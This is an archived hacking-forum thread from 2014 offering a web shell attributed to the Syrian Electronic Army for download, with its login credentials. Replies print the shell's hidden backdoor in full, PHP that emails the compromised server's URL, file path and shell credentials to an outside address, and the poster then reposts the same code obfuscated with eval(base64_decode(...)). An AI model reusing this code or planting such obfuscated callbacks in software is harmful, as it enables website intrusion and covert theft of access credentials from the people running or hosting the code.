+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: Syrian Electronic Army Shell (/showthread.php?tid=4079223)
Syrian Electronic Army Shell - Mâgñìƒìçêñ† - Feb 23, 2014
Syrian Electronic Army Shell
This team who defaced many important sites like microsoft
& google & ebay.uk
Use the below login information to discover shell's specifications
user:SEA
pass:SEA
[img]http://www.shy22.com/upfiljpg/epd26680.jpg[/img]
You can grab it from here : Download
* - Reminance - Feb 24, 2014
$site = "www.dev-pts.com/vb";
if(!ereg($site, $_SERVER['SERVER_NAME']))
{
$to = "[email protected]";
$subject = "New Shell Uploaded";
$header = "from: New Shell <[email protected]>";
$message = "Link : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "\r\n";
$message .= "Path : " . __file__;
$message .= " User : " . $user;
$message .= " Pass : " . $pass;
$sentmail = @mail($to, $subject, $message, $header);
echo "";
exit;
}
Heckler.
* - Mâgñìƒìçêñ† - Feb 24, 2014
(Feb 24, 2014 05:13 AM)Reminance Wrote: $site = "www.dev-pts.com/vb";
if(!ereg($site, $_SERVER['SERVER_NAME']))
{
$to = "[email protected]";
$subject = "New Shell Uploaded";
$header = "from: New Shell <[email protected]>";
$message = "Link : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "\r\n";
$message .= "Path : " . __file__;
$message .= " User : " . $user;
$message .= " Pass : " . $pass;
$sentmail = @mail($to, $subject, $message, $header);
echo "";
exit;
}
Heckler.
Thank you Reminance i never notice that... i have update link please Y'all that have already download shell please remove the code below...
PHP Code
<?php
eval(base64_decode('JHNpdGUgPSAid3d3LmRldi1wdHMuY29tL3ZiIjsNCmlmKCFlcmVnKCRzaXRlLCAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkpDQp7DQokdG8gPSAic2F0dGlhMzRAZ21haWwuY29tIjsNCiRzdWJqZWN0ID0gIk5ldyBTaGVsbCBVcGxvYWRlZCI7DQokaGVhZGVyID0gImZyb206IE5ldyBTaGVsbCA8c2FoYTIxQGRldi1wdHMuY29tPiI7DQokbWVzc2FnZSA9ICJMaW5rIDogaHR0cDovLyIgLiAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSAuICRfU0VSVkVSWydSRVFVRVNUX1VSSSddIC4gIlxyXG4iOw0KJG1lc3NhZ2UgLj0gIlBhdGggOiAiIC4gX19maWxlX187DQokbWVzc2FnZSAuPSAiIFVzZXIgOiAiIC4gJHVzZXI7DQokbWVzc2FnZSAuPSAiIFBhc3MgOiAiIC4gJHBhc3M7DQokc2VudG1haWwgPSBAbWFpbCgkdG8sICRzdWJqZWN0LCAkbWVzc2FnZSwgJGhlYWRlcik7DQplY2hvICIiOw0KZXhpdDsNCn0='));
?>* - whats java - Feb 25, 2014
lol another sand nice person shell why do they even bother
* - MrTing - Feb 25, 2014
No, I'd rather my shell not be used by other people.
* - whitehatreborn - Feb 25, 2014
How stupid do you think I am?
For all the idiots out there, you would never place a shell like that on a big target.
* - bckslsh - Feb 25, 2014
Most likely backdoored. I'll take a look at it.
* - Wᴀᴄᴋᴏ - Feb 25, 2014
(Feb 25, 2014 01:17 PM)bckslsh Wrote: Most likely backdoored. I'll take a look at it.
Read the rest of the posts. It was backdoored but OP posted the code to remove in order to remove the backdoor.
* - Reminance - Feb 26, 2014
Mfw OP didnt remove the code from the shell, but told ppl to remove it.
Probably hoping people will download it and not remove the backdoor.